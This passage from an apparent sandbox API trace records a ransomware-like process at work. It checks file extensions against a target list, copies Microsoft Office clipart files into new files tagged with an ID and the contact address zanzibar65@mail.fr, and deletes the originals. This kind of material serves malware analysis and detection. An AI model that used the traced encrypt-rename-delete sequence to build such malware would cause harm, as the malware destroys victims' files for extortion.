(lpString=".xls") returned 4 [0272.564] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.564] lstrlenW (lpString=".xlsx") returned 5 [0272.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.564] lstrlenW (lpString=".ppt") returned 4 [0272.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.564] lstrlenW (lpString=".zip") returned 4 [0272.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.564] lstrlenW (lpString=".rar") returned 4 [0272.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.564] lstrlenW (lpString=".bz2") returned 4 [0272.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.564] lstrlenW (lpString=".7z") returned 3 [0272.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.564] lstrlenW (lpString=".dbf") returned 4 [0272.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.565] lstrlenW (lpString=".1cd") returned 4 [0272.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.565] lstrlenW (lpString=".jpg") returned 4 [0272.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.565] lstrlenW (lpString=".doc") returned 4 [0272.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString=".docx") returned 5 [0272.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.565] lstrlenW (lpString=".pdf") returned 4 [0272.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString=".xls") returned 4 [0272.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.565] lstrlenW (lpString=".xlsx") returned 5 [0272.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.565] lstrlenW (lpString=".ppt") returned 4 [0272.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.565] lstrlenW (lpString=".zip") returned 4 [0272.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.565] lstrlenW (lpString=".rar") returned 4 [0272.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString=".bz2") returned 4 [0272.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.565] lstrlenW (lpString=".7z") returned 3 [0272.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.565] lstrlenW (lpString=".dbf") returned 4 [0272.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.566] lstrlenW (lpString=".1cd") returned 4 [0272.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0272.566] lstrlenW (lpString=".jpg") returned 4 [0272.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.566] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.566] lstrlenW (lpString="FD00096_.WMF") returned 12 [0272.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.566] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=37390) returned 1 [0272.566] CloseHandle (hObject=0x2f0) returned 1 [0272.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0272.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.567] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.567] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.567] GetLastError () returned 0x0 [0272.567] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x920e, lpOverlapped=0x0) returned 1 [0272.621] WriteFile (in: hFile=0x398, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x9210, lpOverlapped=0x0) returned 1 [0272.622] ReadFile (in: hFile=0x2f0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.622] WriteFile (in: hFile=0x398, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.622] SetEndOfFile (hFile=0x398) returned 1 [0272.625] CloseHandle (hObject=0x398) returned 1 [0272.625] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.625] SetEndOfFile (hFile=0x2f0) returned 1 [0272.628] CloseHandle (hObject=0x2f0) returned 1 [0272.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.676] lstrlenW (lpString=".doc") returned 4 [0272.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.676] lstrlenW (lpString=".docx") returned 5 [0272.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.676] lstrlenW (lpString=".pdf") returned 4 [0272.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.676] lstrlenW (lpString=".xls") returned 4 [0272.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.676] lstrlenW (lpString=".xlsx") returned 5 [0272.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.676] lstrlenW (lpString=".ppt") returned 4 [0272.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.676] lstrlenW (lpString=".zip") returned 4 [0272.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.676] lstrlenW (lpString=".rar") returned 4 [0272.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.676] lstrlenW (lpString=".bz2") returned 4 [0272.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.676] lstrlenW (lpString=".7z") returned 3 [0272.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.677] lstrlenW (lpString=".dbf") returned 4 [0272.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.677] lstrlenW (lpString=".1cd") returned 4 [0272.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.677] lstrlenW (lpString=".jpg") returned 4 [0272.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.677] lstrlenW (lpString=".doc") returned 4 [0272.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString=".docx") returned 5 [0272.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.677] lstrlenW (lpString=".pdf") returned 4 [0272.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString=".xls") returned 4 [0272.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.677] lstrlenW (lpString=".xlsx") returned 5 [0272.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.677] lstrlenW (lpString=".ppt") returned 4 [0272.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.677] lstrlenW (lpString=".zip") returned 4 [0272.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.677] lstrlenW (lpString=".rar") returned 4 [0272.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString=".bz2") returned 4 [0272.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.677] lstrlenW (lpString=".7z") returned 3 [0272.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.677] lstrlenW (lpString=".dbf") returned 4 [0272.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.678] lstrlenW (lpString=".1cd") returned 4 [0272.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0272.678] lstrlenW (lpString=".jpg") returned 4 [0272.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.678] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.678] lstrlenW (lpString="FD00297_.WMF") returned 12 [0272.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0272.819] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=18194) returned 1 [0272.819] CloseHandle (hObject=0x30c) returned 1 [0272.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x20 [0272.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.024] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.024] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.026] GetLastError () returned 0x0 [0273.026] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x4712, lpOverlapped=0x0) returned 1 [0273.028] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x4720, lpOverlapped=0x0) returned 1 [0273.029] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.029] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.029] SetEndOfFile (hFile=0x3a8) returned 1 [0273.029] CloseHandle (hObject=0x3a8) returned 1 [0273.029] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.029] SetEndOfFile (hFile=0x3a4) returned 1 [0273.032] CloseHandle (hObject=0x3a4) returned 1 [0273.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0273.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.033] lstrlenW (lpString=".doc") returned 4 [0273.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.033] lstrlenW (lpString=".docx") returned 5 [0273.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.033] lstrlenW (lpString=".pdf") returned 4 [0273.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.033] lstrlenW (lpString=".xls") returned 4 [0273.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.033] lstrlenW (lpString=".xlsx") returned 5 [0273.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.033] lstrlenW (lpString=".ppt") returned 4 [0273.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.033] lstrlenW (lpString=".zip") returned 4 [0273.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.033] lstrlenW (lpString=".rar") returned 4 [0273.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.033] lstrlenW (lpString=".bz2") returned 4 [0273.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.033] lstrlenW (lpString=".7z") returned 3 [0273.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.033] lstrlenW (lpString=".dbf") returned 4 [0273.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.033] lstrlenW (lpString=".1cd") returned 4 [0273.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.034] lstrlenW (lpString=".jpg") returned 4 [0273.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.034] lstrlenW (lpString=".doc") returned 4 [0273.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.034] lstrlenW (lpString=".docx") returned 5 [0273.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.034] lstrlenW (lpString=".pdf") returned 4 [0273.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.034] lstrlenW (lpString=".xls") returned 4 [0273.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.034] lstrlenW (lpString=".xlsx") returned 5 [0273.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.034] lstrlenW (lpString=".ppt") returned 4 [0273.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.034] lstrlenW (lpString=".zip") returned 4 [0273.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.034] lstrlenW (lpString=".rar") returned 4 [0273.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.034] lstrlenW (lpString=".bz2") returned 4 [0273.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.034] lstrlenW (lpString=".7z") returned 3 [0273.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.034] lstrlenW (lpString=".dbf") returned 4 [0273.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.035] lstrlenW (lpString=".1cd") returned 4 [0273.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0273.035] lstrlenW (lpString=".jpg") returned 4 [0273.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.035] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.035] lstrlenW (lpString="FD00382_.WMF") returned 12 [0273.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.035] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=8424) returned 1 [0273.035] CloseHandle (hObject=0x3a4) returned 1 [0273.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x20 [0273.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.036] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.036] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.036] GetLastError () returned 0x0 [0273.036] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x20e8, lpOverlapped=0x0) returned 1 [0273.038] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x20f0, lpOverlapped=0x0) returned 1 [0273.039] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.040] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.040] SetEndOfFile (hFile=0x3a8) returned 1 [0273.040] CloseHandle (hObject=0x3a8) returned 1 [0273.040] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.040] SetEndOfFile (hFile=0x3a4) returned 1 [0273.042] CloseHandle (hObject=0x3a4) returned 1 [0273.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0273.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.043] lstrlenW (lpString=".doc") returned 4 [0273.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.043] lstrlenW (lpString=".docx") returned 5 [0273.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.043] lstrlenW (lpString=".pdf") returned 4 [0273.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.043] lstrlenW (lpString=".xls") returned 4 [0273.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.043] lstrlenW (lpString=".xlsx") returned 5 [0273.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.043] lstrlenW (lpString=".ppt") returned 4 [0273.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.043] lstrlenW (lpString=".zip") returned 4 [0273.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.043] lstrlenW (lpString=".rar") returned 4 [0273.043] lstrcmpiW (lpString1=".rar", 